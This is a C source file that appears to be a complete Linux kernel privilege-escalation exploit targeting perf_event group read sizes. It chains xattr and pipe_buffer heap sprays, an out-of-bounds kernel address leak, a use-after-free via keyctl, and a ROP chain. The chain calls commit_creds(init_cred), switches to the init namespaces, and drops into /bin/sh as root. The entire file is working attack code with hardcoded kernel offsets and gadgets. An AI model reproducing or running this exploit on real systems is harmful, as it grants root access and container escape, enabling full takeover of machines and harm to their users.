#define _GNU_SOURCE
#include <linux/perf_event.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/resource.h>
#include <keyutils.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <assert.h>

#define XATTR_PREFIX_SECURITY "security."

struct xattr_return {
    uint64_t size;
    char *value;
};

struct pipeio {
	struct {
		int readfd, writefd;
	} pipe;
	bool is_ops_activated;
};

struct read_format {
    __u64 value;                 // Value of the counter
    __u64 time_enabled;          // Active time
    __u64 time_running;          // Actual time running
    __u64 id;                    // Event ID
    __u64 lost;                  // Number of lost events
};

struct list_head {
    struct list_head *next, *prev;
};

struct msg_msgseg {
    struct msg_msgseg *next;
    char m_text[];
};

struct msg_msg{
    struct list_head m_list;
    int64_t m_type;
    int m_ts;
    struct msg_msgseg *next;
    void *security;
    char m_text[];
};

struct msg {
    int64_t m_type;
    char m_text[];
};

#define MSG_HEADER_SIZE sizeof(struct msg)
#define MSG_MSG_HEADER_SIZE sizeof(struct msg_msg)
#define MSG_MSGSEG_HEADER_SIZE sizeof(struct msg_msgseg)

struct pipeio *pipes[0x100];
struct pipeio *pipes1[0x10000];

struct pipeio *create_pipeio(void){
	struct pipeio *pio = (struct pipeio *)calloc(sizeof(struct pipeio), 1);
	if(pipe((int *)&pio->pipe) < 0)
		perror("pipe alloc");
	pio->is_ops_activated = false;
	return pio;
}

void resize_pipe(struct pipeio *pipe, uint64_t objectsz){
	if(fcntl(pipe->pipe.writefd, F_SETPIPE_SZ, objectsz) < 0)
		perror("pipe resize");
}

void read_pipe(struct pipeio *pipe, char *buf, uint64_t size){
	if(read(pipe->pipe.readfd, buf, size) < 0)
		perror("pipe read");
}

void write_pipe(struct pipeio *pipe, char *buf, uint64_t size){
	if(write(pipe->pipe.writefd, buf, size) < 0)
		perror("pipe write");
	else
		pipe->is_ops_activated = true;
}

void release_pipe(struct pipeio *pipe){
	if(!pipe)
		return;
	close(pipe->pipe.readfd);
	close(pipe->pipe.writefd);
	free(pipe);
}

int alloc_msg_queue(void){
    int msqid = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
    if (msqid == -1)
        perror("msgget");
    return msqid;
}

void insert_msg_msg(int msqid, int64_t mtype, uint64_t objectsz, uint64_t msgsz, char *mtext){
    assert(msgsz <= objectsz);
    struct msg *msg = (struct msg *)calloc(MSG_HEADER_SIZE + objectsz, 1);
    msg->m_type = mtype;
    memset(msg->m_text, '\xbf', objectsz);
    memcpy(msg->m_text, mtext, msgsz); 
    if (msgsnd(msqid, msg, objectsz, 0) < 0)
        perror("msgsnd");
}

static long
perf_event_open(struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_group_leader, unsigned long flags){
    return syscall(SYS_perf_event_open, hw_event, pid, cpu, group_group_leader, flags);
}

char *gen_xattr_name(char *prefix, char *name){
    assert(prefix[strlen(prefix) - 1] == '.');
    char *xattr_name = (char *)calloc(strlen(prefix) + strlen(name) + 1, 1);
    strcpy(xattr_name, prefix);
    strcat(xattr_name, name);
    return xattr_name;
}

struct xattr_return *read_xattr(char *fname, char *name){
    struct xattr_return *ret = (struct xattr_return *)calloc(sizeof(struct xattr_return), 1);
    ret->value = (char *)calloc(0x10000, 1);
    if((ret->size = getxattr(fname, name, ret->value, 0x10000)) < 0)
        puts("getxattr error");
    return ret;
}

static inline key_serial_t sys_add_key(const char *type, const char *desc, const void *payload, size_t plen, int ringid)
{
    return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}

static inline key_serial_t sys_keyctl(int cmd, ...)
{
    va_list ap;
    long arg2, arg3, arg4, arg5;

    va_start(ap, cmd);
    arg2 = va_arg(ap, long);
    arg3 = va_arg(ap, long);
    arg4 = va_arg(ap, long);
    arg5 = va_arg(ap, long);
    va_end(ap);

    return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}

void spray_simple_xattr_and_pipe_buffer_kmalloc_16k(){
    char *fname = "/tmp/zzlol";
    close(open("/tmp/zzlol", O_CREAT, 0644));
    char value[0x5000] = {0, };
    memset(value, 'A', 0x3fc0);
    char spray_name[0x100] = {0, };
    //Sprays a simple_xattr object with a size of 0x4000 to buddy.
    for(int i = 0; i <= 1994; i++){
        sprintf(spray_name,"zzlol%d",i);
        char *name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name);
        setxattr(fname, name, value, 0x3fc0, 0);
    }
    pipes[0] = create_pipeio();
    resize_pipe(pipes[0], 0x1000 * 0x100);
    pipes[1] = create_pipeio();
    resize_pipe(pipes[1], 0x1000 * 0x100);
    sprintf(spray_name,"zzlol%d",1997);
    char *name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name);
    setxattr(fname, name, value, 0x3fc0, 0);
    for(int i = 0; i < 0x10; i++){
        pipes[i] = create_pipeio();
        resize_pipe(pipes[i], 0x1000 * 0x100);
        memset(spray_name, 'y', 0x40);
        memset(spray_name, 't', 0x38);
        memcpy(spray_name+0x38 - 9, XATTR_PREFIX_SECURITY, 9);
        sprintf(spray_name+0x40,"haha%d",i);
        char *name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name);
        if(setxattr(fname, name, value, 0x3000, 0) < 0)
            perror("setxattr");
    }
}

void DumpHex(const void* data, size_t size) {
	char ascii[17];
	size_t i, j;
	ascii[16] = '\0';
	for (i = 0; i < size; ++i) {
		printf("%02X ", ((unsigned char*)data)[i]);
		if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
			ascii[i % 16] = ((unsigned char*)data)[i];
		} else {
			ascii[i % 16] = '.';
		}
		if ((i+1) % 8 == 0 || i+1 == size) {
			printf(" ");
			if ((i+1) % 16 == 0) {
				printf("|  %s \n", ascii);
			} else if (i+1 == size) {
				ascii[(i+1) % 16] = '\0';
				if ((i+1) % 16 <= 8) {
					printf(" ");
				}
				for (j = (i+1) % 16; j < 16; ++j) {
					printf("   ");
				}
				printf("|  %s \n", ascii);
			}
		}
	}
}

uint64_t virt2page(uint64_t virt, uint64_t kheap_base, uint64_t vmemmap_base){
    return (((virt - kheap_base) >> 0xc) << 0x6) + vmemmap_base;
}

void cpu_affinity(int cpu){
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(cpu, &mask);
    if (sched_setaffinity(0, sizeof(mask), &mask) < 0)
        perror("sched_setaffinity");
}

void fdlimit(int limit){
    struct rlimit rl;
    getrlimit(RLIMIT_NOFILE, &rl);
    rl.rlim_cur = limit;
    if(setrlimit(RLIMIT_NOFILE, &rl) == -1) {
        perror("setrlimit");
        exit(EXIT_FAILURE);
    }
}

void signal_handler(int signo) {
    if(signo == SIGUSR1){
        puts("[+] Finish Child");
    }
}

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
        );
}

void shell(){
    int mntns_fd = open("/proc/1/ns/mnt", O_RDONLY);
    int netns_fd = open("/proc/1/ns/net", O_RDONLY);
    int pidns_fd = open("/proc/1/ns/pid", O_RDONLY);

    if (mntns_fd == -1)
        perror("[-] open(/proc/1/ns/mnt)");
    if (setns(mntns_fd, CLONE_NEWNS) == -1)
        perror("[-] setns mnt");

    if (netns_fd == -1)
        perror("[-] open(/proc/1/ns/net)");
    if (setns(netns_fd, CLONE_NEWNET) == -1)
        perror("[-] setns net");

    if (pidns_fd == -1)
        perror("[-] open(/proc/1/ns/pid)");
    if (setns(pidns_fd, CLONE_NEWPID) == -1)
        perror("[-] setns pid");

    char *const argv[] = { "/bin/sh" };
    char *const envp[] = { NULL };
    execve("/bin/sh", argv, envp);
}

int main(int argc, char *argv[], char *envp[]){
    cpu_affinity(0);
    fdlimit(4096);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    if(signal(SIGUSR1, signal_handler) == SIG_ERR){
        puts("[-] Exploit Fail");
        exit(0);
    }
    int group_leader, event, finev, prev;
    char count[0x10000] = { 0, };
    int events[0x10000] = { 0, };
    char value[0x3000] = {0, };
    char cmd[0x100] = {0, };
    struct perf_event_attr  pe;
    memset(&pe, 0, sizeof(pe));
    pe.type = PERF_TYPE_SOFTWARE;
    pe.size = sizeof(pe);
    pe.config = PERF_COUNT_SW_PAGE_FAULTS;
    pe.disabled = 1;
    pe.exclude_kernel = 1;
    pe.exclude_hv = 1;
    pe.read_format = PERF_FORMAT_TOTAL_TIME_ENABLED | PERF_FORMAT_ID | PERF_FORMAT_GROUP;

    group_leader = perf_event_open(&pe, 0, -1, -1, 0);
    if (group_leader == -1) {
        fprintf(stderr, "Error opening leader %llx\n", pe.config);
        exit(EXIT_FAILURE);
    }
    puts("[+] Incrementing event ID");
    for(int _ = 0; _ < 10; _++){
        for(int i = 0; i < 4096; i++){
            struct perf_event_attr  pe1;
            memset(&pe1, 0, sizeof(pe));
            pe1.type = PERF_TYPE_SOFTWARE;
            pe1.size = sizeof(pe1);
            pe1.config = PERF_COUNT_SW_PAGE_FAULTS;
            pe1.disabled = 1;
            pe1.exclude_kernel = 1;
            pe1.exclude_hv = 1;
            event = perf_event_open(&pe1, 0, -1, group_leader, 0);
            if (event == -1) {
                perror("[-] perf_event_open() fail.");
                continue;
            }
            else{
                events[i] = event;
                close(event);
            }
        }
    }
    puts("[+] Add Siblings");
    pid_t parent_pid;
    parent_pid = getpid();
    pid_t child_pid = fork();
    if(fork < 0) puts("sibling fork failed.");
    else if(child_pid == 0){
        for(int i = 0; i < 2000; i++){
            if(!(i % 1000))
                puts("[+] Create Event 1000");
            struct perf_event_attr  pe1;
            memset(&pe1, 0, sizeof(pe));
            pe1.type = PERF_TYPE_SOFTWARE;
            pe1.size = sizeof(pe1);
            pe1.config = PERF_COUNT_SW_PAGE_FAULTS;
            pe1.disabled = 1;
            pe1.exclude_kernel = 1;
            pe1.exclude_hv = 1;
            event = perf_event_open(&pe1, parent_pid, -1, group_leader, 0);
            if (event == -1) {
                perror("[-] perf_event_open() fail.");
                continue;
            }
            else{
                events[i] = event;
                ioctl(event, PERF_EVENT_IOC_ENABLE, 0);
            }
        }
        kill(parent_pid, SIGUSR1);
        // @sleep(desc="When the child process terminates, the kernel panics due to the broken layout of the pipe_buffer struct. So we are using sleep to prevent the child process from terminating.")
        sleep(999999);
    }
    pause();
    //The calculation formula in the for loop below overflows event->read_size by u16 once, and then adjusts the value of event->read_size so that it can allocate heap memory of size 0x4000.
    for(int i = 0; i < (0x10000/0x10+0x2000/0x10)-2000; i++){
        if(!(i % 1000))
            puts("[+] Create Event 1000");
        struct perf_event_attr  pe1;
        memset(&pe1, 0, sizeof(pe));
        pe1.type = PERF_TYPE_SOFTWARE;
        pe1.size = sizeof(pe1);
        pe1.config = PERF_COUNT_SW_PAGE_FAULTS;
        pe1.disabled = 1;
        pe1.exclude_kernel = 1;
        pe1.exclude_hv = 1;
        event = perf_event_open(&pe1, 0, -1, group_leader, 0);
        if (event == -1) {
            perror("[-] perf_event_open() fail.");
            continue;
        }
        else{
            events[i+2000] = event;
            ioctl(event, PERF_EVENT_IOC_ENABLE, 0);
        }
    }
    puts("[+] Spraying xattr");
    spray_simple_xattr_and_pipe_buffer_kmalloc_16k();
    char *fname = "/tmp/zzlol";
    char *spray_name = "zzlol1994";
    char *name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name);
    removexattr(fname, name);
    read(group_leader, count, 0xffff);
    for(int i = 0; i < 0x10; i++){
        write_pipe(pipes[i], "AAAAAAAA", 8);
    }
    spray_name = "zzlol1997";
    name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name);
    struct xattr_return *xret = read_xattr("/tmp/zzlol", name);

    //oob read.
    printf("[+] xattr size: 0x%lx\n", xret->size);
    uint64_t kpage = ((uint64_t *)xret->value)[0x7fc]; //0x7fc is pipe_buffer->page offset.
    uint64_t vmemmap_base = (kpage >> 28) << 28;
    uint64_t kleak = ((uint64_t *)xret->value)[0x7fe]; //0x7fe is pipe_buffer->ops offset.
    uint64_t kbase = kleak - 0x1c1f140;
    uint64_t modprobe_path = kbase + 0x2a777e0;
    printf("[+] kernel base : 0x%lx\n", kbase);
    printf("[+] vmemap base : 0x%lx\n", vmemmap_base);
    uint64_t xattr = ((uint64_t *)xret->value)[4092] & 0xfffffffffffffffe; //4092 is simple_xattr->next offset.
    uint64_t leakname = ((uint64_t *)xret->value)[4094]; //4094 is simple_xattr->name offset.
    uint64_t kheap_base = ((xattr - 0x6000000) >> 28) << 28;
    printf("[+] xattr : 0x%lx\n", xattr);
    printf("[+] name : 0x%lx\n", leakname);
    printf("[+] kheap base : 0x%lx\n", kheap_base);
    puts("[+] Closing Events");
    for(int i = 0; i < 0x10000/0x10+0x2000/0x10; i++){
        close(events[i]);
    }
    close(group_leader);

    memset(&pe, 0, sizeof(pe));
    pe.type = PERF_TYPE_SOFTWARE;
    pe.size = sizeof(pe);
    pe.config = PERF_COUNT_SW_PAGE_FAULTS;
    pe.disabled = 1;
    pe.exclude_kernel = 1;
    pe.exclude_hv = 1;
    pe.read_format = PERF_FORMAT_TOTAL_TIME_ENABLED | PERF_FORMAT_GROUP | PERF_FORMAT_LOST;

    group_leader = perf_event_open(&pe, 0, -1, -1, 0);

    puts("[+] Add Sibnings");
    parent_pid = getpid();
    child_pid = fork();
    if(fork < 0) puts("sibling fork failed.");
    else if(child_pid == 0){
        for(int i = 0; i < 2000; i++){
            if(!(i % 1000))
                puts("[+] Create Event 1000");
            struct perf_event_attr  pe1;
            memset(&pe1, 0, sizeof(pe));
            pe1.type = PERF_TYPE_SOFTWARE;
            pe1.size = sizeof(pe1);
            pe1.config = PERF_COUNT_SW_PAGE_FAULTS;
            pe1.disabled = 1;
            pe1.exclude_kernel = 1;
            pe1.exclude_hv = 1;
            event = perf_event_open(&pe1, parent_pid, -1, group_leader, 0);
            if (event == -1) {
                perror("[-] perf_event_open() fail.");
                continue;
            }
            else{
                events[i] = event;
                ioctl(event, PERF_EVENT_IOC_ENABLE, 0);
            }
        }
        kill(parent_pid, SIGUSR1);
        // @sleep(desc="When the child process terminates, the kernel panics due to the broken layout of the pipe_buffer struct. So we are using sleep to prevent the child process from terminating.")
        sleep(999999);
    }
    pause();
    //The calculation formula in the for loop below overflows event->read_size by u16 once, and then adjusts the value of event->read_size so that it can allocate heap memory of size 0x4000.
    for(int i = 0; i < (0x10000/0x10+0x2100/0x10)-2000; i++){
        if(!(i % 1000))
            puts("[+] Create Event 1000");
        struct perf_event_attr  pe1;
        memset(&pe1, 0, sizeof(pe));
        pe1.type = PERF_TYPE_SOFTWARE;
        pe1.size = sizeof(pe1);
        pe1.config = PERF_COUNT_SW_PAGE_FAULTS;
        pe1.disabled = 1;
        pe1.exclude_kernel = 1;
        pe1.exclude_hv = 1;
        event = perf_event_open(&pe1, 0, -1, group_leader, 0);
        if (event == -1) {
            perror("[-] perf_event_open() fail.");
            continue;
        }
        else{
            events[i+2000] = event;
            ioctl(event, PERF_EVENT_IOC_ENABLE, 0);
        }
    }
    struct pipeio *pipepipe = create_pipeio();
    resize_pipe(pipepipe, 0x1000 * 0x100);
    puts("[+] Page Faulting");
    int *ptr = NULL;
    ioctl(group_leader, PERF_EVENT_IOC_RESET, 0);
    ioctl(group_leader, PERF_EVENT_IOC_ENABLE, 0);
    for(int i = 0; i < 0x30; i++){
        ptr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        *ptr = 1;
    }
    ioctl(group_leader, PERF_EVENT_IOC_DISABLE, 0);

    fname = "/tmp/zzlol";
    char spray_name1[0x1000] = {0, };
    memset(spray_name1, 'y', 0x40);
    memset(spray_name1, 't', 0x38);
    memcpy(spray_name1+0x38 - 9, XATTR_PREFIX_SECURITY, 9);
    sprintf(spray_name1+0x40,"haha%d", 3);
    name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name1);
    removexattr(fname, name);
    puts("[+] Spraying Fake xattr");
    char spray_name2[0x1000] = { 0, };
    for(int i = 0x11; i <= 100; i++){
        memset(spray_name2, 'y', 0x40);
        memset(spray_name2, 't', 0x38);
        memcpy(spray_name2+0x38 - 9, XATTR_PREFIX_SECURITY, 9);
        sprintf(spray_name2+0x40,"haha%d",i);
        char *name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name2);
        memset(value, 'B', 0x3000);
        for(int j = 0; j < 4; j++)
            ((uint64_t *)value)[j] = 0;
        ((uint64_t *)value)[2] = xattr + 0x20000 + 0x40 - 0x30;
        ((uint64_t *)value)[3] = 0;
        ((uint64_t *)value)[4] = xattr + 0x20000 + 0x38 - 0x30;
        ((uint64_t *)value)[5] = 0x10;
        if(setxattr(fname, name, value, 0x3000, 0) < 0)
            perror("setxattr");
    }

    memset(spray_name2, 'y', 0x40);
    memset(spray_name2, 't', 0x38);
    memcpy(spray_name2+0x38 - 9, XATTR_PREFIX_SECURITY, 9);
    sprintf(spray_name2+0x40,"zzz%d", 0);
    name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name2);
    memset(value, 'C', 0x3000);
    ((uint64_t *)value)[0] = xattr + 0x18000;
    ((uint64_t *)value)[1] = xattr + 0x18000;
    ((uint64_t *)value)[2] = leakname;
    ((uint64_t *)value)[3] = 0x3000;
    ((uint64_t *)value)[4] = xattr + 0x20000 + 0x80;
    ((uint64_t *)value)[5] = xattr + 0x20000  + 0x60;
    ((uint64_t *)value)[6] = leakname;
    ((uint64_t *)value)[7] = 0x3000;
    ((uint64_t *)value)[8] = xattr + 0x20000 + 0x40;
    ((uint64_t *)value)[12] = xattr + 0x18000;
    ((uint64_t *)value)[13] = xattr + 0x20000 + 0x40;
    ((uint64_t *)value)[14] = leakname;
    ((uint64_t *)value)[15] = 0x3000;
    if(setxattr(fname, name, value, 0x3000, 0) < 0)
        perror("setxattr");
    puts("[+] Making UAF");
    memset(spray_name1, 'y', 0x40);
    memset(spray_name1, 't', 0x38);
    memcpy(spray_name1+0x38 - 9, XATTR_PREFIX_SECURITY, 9);
    sprintf(spray_name1+0x40,"haha%d", 93);
    name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name1);
    removexattr(fname, name);
    read(group_leader, count, 0xffff);

    sprintf(spray_name2,"zzzlolol%d", 0);
    name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name2);
    if(setxattr(fname, name, value, 0x3000, 0) < 0)
        perror("setxattr");
    removexattr(fname, name);
    release_pipe(pipepipe);

    char value1[0x5000] = {0, };
    memcpy(value1 + 8, value, 0x3000);

    key_serial_t *keys = calloc(0x10, sizeof(key_serial_t));
    keys[0] = sys_add_key("user", "key_0", value1, 0x3000, KEY_SPEC_PROCESS_KEYRING);
    memset(spray_name1, 'y', 0x40);
    memset(spray_name1, 't', 0x38);
    memcpy(spray_name1+0x38 - 9, XATTR_PREFIX_SECURITY, 9);
    sprintf(spray_name1+0x40,"haha%d", 0);
    name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name1);
    removexattr(fname, name);

    struct pipeio *uafpipe = create_pipeio();
    resize_pipe(uafpipe, 0x1000 * 0x100);
    write_pipe(uafpipe, "AAAAAAAA", 8);

    if(sys_keyctl(KEYCTL_REVOKE, keys[0]) == -1){
        puts("[-] Exploit Fail");
        exit(-1);
    }
    //@sleep(desc="Wait a bit for the heap layout to be set as desired.")
    sleep(1);

    uint64_t jmpgadget = kbase + 0xcafa62; //0xffffffff81cafa62 : push rsi ; jmp qword ptr [rsi + 0x66]
    uint64_t pop_rsp = kbase + 0xb0ab1c; //0xffffffff81b0ab19 : add dword ptr [rax - 0x75], ecx ; pop rsp ; ret
    uint64_t pop_rdi = kbase + 0xb307d; //0xffffffff810b307d : pop rdi ; ret
    uint64_t pop_rsi = kbase + 0x24cc0e; //0xffffffff8124cc0c : or al, ch ; pop rsi ; ret
    uint64_t mov_rdi_rax_pop_rbx = kbase + 0xd9883d; //0xffffffff81d9883d : mov rdi, rax ; mov rax, rdi ; pop rbx ; jmp 0xffffffff82605280, 0xffffffff82605280 is ret
    uint64_t init_nsproxy = kbase + 0x2a76900;
    uint64_t switch_task_namespaces = kbase + 0x1c5a20;
    uint64_t find_task_by_vpid = kbase + 0x1bde50;
    uint64_t init_cred = kbase + 0x2a76b40;
    uint64_t commit_creds = kbase + 0x1c7590;
    uint64_t msleep = kbase + 0x232f10;
    uint64_t kpti_trampoline = kbase + 0x1401146;
    uint64_t ropbuf[0x100] = {0, };
    uint64_t *rop = ropbuf;

    sprintf(spray_name2,"uafzzlol%d", 0);
    ((uint64_t *)value)[0] = pop_rsp;
    ((uint64_t *)value)[1] = xattr + 0x20200;
    ((uint64_t *)value)[2] = xattr + 0x20100;
    ((uint64_t *)value)[8] = xattr + 0x18000;
    ((uint64_t *)value)[9] = xattr + 0x18000;
    ((uint64_t *)value)[10] = leakname;
    ((uint64_t *)value)[11] = 0x3000;
    ((uint64_t *)value)[33] = jmpgadget;

    *(uint64_t *)(value + 0x66) = pop_rsp;

    backup_rv();

    int ridx = 0;
    *rop++ = pop_rdi;
    *rop++ = 1;
    *rop++ = find_task_by_vpid;
    *rop++ = mov_rdi_rax_pop_rbx;
    *rop++ = 0;
    *rop++ = pop_rsi;
    *rop++ = init_nsproxy;
    *rop++ = switch_task_namespaces;
    *rop++ = pop_rdi;
    *rop++ = init_cred;
    *rop++ = commit_creds;
    *rop++ = kpti_trampoline;
    *rop++ = 0;
    *rop++ = 0;
    *rop++ = (uint64_t)shell;
    *rop++ = rv.user_cs;
    *rop++ = rv.user_rflags;
    *rop++ = rv.user_rsp;
    *rop++ = rv.user_ss;
    memcpy(value+0x200, ropbuf, 0x100);

    name = gen_xattr_name(XATTR_PREFIX_SECURITY, spray_name2);
    if(setxattr(fname, name, value, 0x3000, 0) < 0)
        perror("setxattr");

    release_pipe(uafpipe);

    return 0;
}